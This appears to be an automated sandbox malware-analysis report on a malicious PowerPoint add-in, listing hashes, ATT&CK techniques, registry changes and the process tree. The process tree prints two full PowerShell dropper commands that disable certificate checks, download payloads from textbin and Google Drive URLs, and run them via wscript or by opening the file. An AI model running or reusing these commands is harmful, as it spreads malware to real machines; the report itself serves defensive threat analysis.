16ed82c39631c064df6e4790a55f9c766ba6747307c864eed489204dac021497

Analysis

max time kernel
61s
max time network
17s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
26-11-2024 16:00

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General

Target

16ed82c39631c064df6e4790a55f9c766ba6747307c864eed489204dac021497.ppam
Size

7KB
MD5

51b6a6b674b708af7d355f5b855f1f28
SHA1

427f1a1ffb6235dbc91a8bb2ab7e0e89f1d669b5
SHA256

16ed82c39631c064df6e4790a55f9c766ba6747307c864eed489204dac021497
SHA512

dd5d7fc3940d8e1a783373b10a8595a364becfe7650a6f3f32e6b871dca1ee5623db6cb8d4b9b871c0a6ec1b47176860574af6333ccf1fdcf769041feea871af
SSDEEP

192:xrXP/3GViyiM8+5byn/nKM5TYgcnHyvakYSq3YD:dXPuE+ann5TRs/Z3K

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://drive.google.com/uc?export=download&id=15ocCLsR2ZmidPwSBKFMdpMbEhO5YtYQ4

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://pt.textbin.net/download/itm1dkgz7c

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
7	2688	powershell.exe
8	2728	powershell.exe
10	2728	powershell.exe
11	2688	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2688	powershell.exe
2728	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
5	drive.google.com
7	drive.google.com

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	POWERPNT.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wscript.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E4-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E7-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6C-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A71-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493493-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6A-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6D-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A55-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "Chart"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A67-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A7B-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493451-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A64-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A7C-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E551-4FF5-48F4-8215-5505F990966F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CE-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E4-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934EA-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F3-5A91-11CF-8700-00AA0060263B}\ = "CustomLayout"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F5-5A91-11CF-8700-00AA0060263B}\ = "TableStyle"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A5A-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "ChartData"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149347C-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493495-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CB-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DE-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DF-5A91-11CF-8700-00AA0060263B}\ = "Effect"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A53-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493459-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149347E-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149349D-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A67-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E553-4FF5-48F4-8215-5505F990966F}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E555-4FF5-48F4-8215-5505F990966F}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E559-4FF5-48F4-8215-5505F990966F}	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E559-4FF5-48F4-8215-5505F990966F}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149345C-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346A-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493478-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DC-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F0-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F6-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A52-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C0-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CA-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A5F-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493472-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F7-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A53-F07E-4CA4-AF6F-BEF486AA4E6F}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934B9-5A91-11CF-8700-00AA0060263B}\ = "Tags"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C7-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D5-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F9-5A91-11CF-8700-00AA0060263B}\ = "TextFrame2"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493451-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493460-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346F-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149347A-5A91-11CF-8700-00AA0060263B}\ = "ShapeRange"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934EA-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A53-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "Axis"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E550-4FF5-48F4-8215-5505F990966F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493442-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493454-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493480-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D4-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DD-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E550-4FF5-48F4-8215-5505F990966F}	POWERPNT.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1936	POWERPNT.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2728	powershell.exe
2688	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2728	powershell.exe
Token: SeDebugPrivilege	2688	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1936 wrote to memory of 2184	1936	POWERPNT.EXE	29
PID 1936 wrote to memory of 2184	1936	POWERPNT.EXE	29
PID 1936 wrote to memory of 2184	1936	POWERPNT.EXE	29
PID 1936 wrote to memory of 2184	1936	POWERPNT.EXE	29
PID 1936 wrote to memory of 2728	1936	POWERPNT.EXE	30
PID 1936 wrote to memory of 2728	1936	POWERPNT.EXE	30
PID 1936 wrote to memory of 2728	1936	POWERPNT.EXE	30
PID 1936 wrote to memory of 2728	1936	POWERPNT.EXE	30
PID 1936 wrote to memory of 2688	1936	POWERPNT.EXE	31
PID 1936 wrote to memory of 2688	1936	POWERPNT.EXE	31
PID 1936 wrote to memory of 2688	1936	POWERPNT.EXE	31
PID 1936 wrote to memory of 2688	1936	POWERPNT.EXE	31
PID 2728 wrote to memory of 2408	2728	powershell.exe	35
PID 2728 wrote to memory of 2408	2728	powershell.exe	35
PID 2728 wrote to memory of 2408	2728	powershell.exe	35
PID 2728 wrote to memory of 2408	2728	powershell.exe	35

C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\16ed82c39631c064df6e4790a55f9c766ba6747307c864eed489204dac021497.ppam"
1⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
PID:1936
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2184
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command $UmniN;[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;$uNTnd = (New-Object Net.WebClient) ;$uNTnd.Encoding = [System.Text.Encoding]::UTF8 ;$UmniN = $uNTnd.DownloadString( 'https://pt.textbin.net/download/itm1dkgz7c' ) ;$uNTnd = $uNTnd.DownloadString( $UmniN ) ;$x = [System.IO.Path]::GetTempPath() ;Set-Location $x ;$uNTnd | Out-File -FilePath x.vbs -force ;wscript.exe x.vbs ; exit
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2728
- - C:\Windows\SysWOW64\wscript.exe
    "C:\Windows\system32\wscript.exe" x.vbs
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2408
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;$uNTnd = (New-Object Net.WebClient) ;$uNTnd.Encoding = [System.Text.Encoding]::UTF8 ;$uNTnd.DownloadFile( 'https://drive.google.com/uc?export=download&id=15ocCLsR2ZmidPwSBKFMdpMbEhO5YtYQ4', [System.IO.Path]::GetTempPath() + 'x.pptx' ) ;$x = [System.IO.Path]::GetTempPath() ;Set-Location $x ;start x.pptx ; exit
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2688

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\x.vbs

Filesize
796B

MD5
b75621ae1faee608b4ed39e971d709a5

SHA1
bcd528eb22d2e7b1d11c9b603df87cec37d23da5

SHA256
54ce5e89f7c67db8cef4954d8f041857474882dc6af675b4120833bb8832a3a5

SHA512
5ef0841caeae364fee32cdd561c7473c45244009ae6dc73f38eefffdb1e95f7cb6f0531ef5d273ca7dd28f408c40a93a3de3c619dab41a0953ab731167ec0e66

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\21A56D1RTEBT417LRS9K.temp

Filesize
7KB

MD5
5f91436e32a1577e0351d7d389ffa4f6

SHA1
f2c81ffac236179fb998de44a65e5684534cbe2e

SHA256
0a138a85fad9c2b0d744a8f8a997b67da55fc6e702d80974710fc5520fb27ee1

SHA512
6cea8890a421c583a271d4da7c7c279898f3be9f6c58df61aa3aa5508c1274b08e8ddba8cb3c0b3ed6b077f45182987cc0ce841039c488760e237168097e69e8

Download Submit
memory/1936-4-0x0000000000630000-0x0000000000730000-memory.dmp

Filesize
1024KB

Download
memory/1936-8-0x0000000000630000-0x0000000000730000-memory.dmp

Filesize
1024KB

Download
memory/1936-6-0x0000000000630000-0x0000000000730000-memory.dmp

Filesize
1024KB

Download
memory/1936-5-0x0000000000630000-0x0000000000730000-memory.dmp

Filesize
1024KB

Download
memory/1936-9-0x0000000000630000-0x0000000000730000-memory.dmp

Filesize
1024KB

Download
memory/1936-2-0x000000007408D000-0x0000000074098000-memory.dmp

Filesize
44KB

Download
memory/1936-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1936-0-0x000000002D921000-0x000000002D922000-memory.dmp

Filesize
4KB

Download
memory/1936-11-0x0000000000630000-0x0000000000730000-memory.dmp

Filesize
1024KB

Download
memory/1936-21-0x000000007408D000-0x0000000074098000-memory.dmp

Filesize
44KB

Download
memory/1936-22-0x0000000000630000-0x0000000000730000-memory.dmp

Filesize
1024KB

Download
memory/2688-23-0x00000000068E0000-0x000000000739A000-memory.dmp

Filesize
10.7MB

Download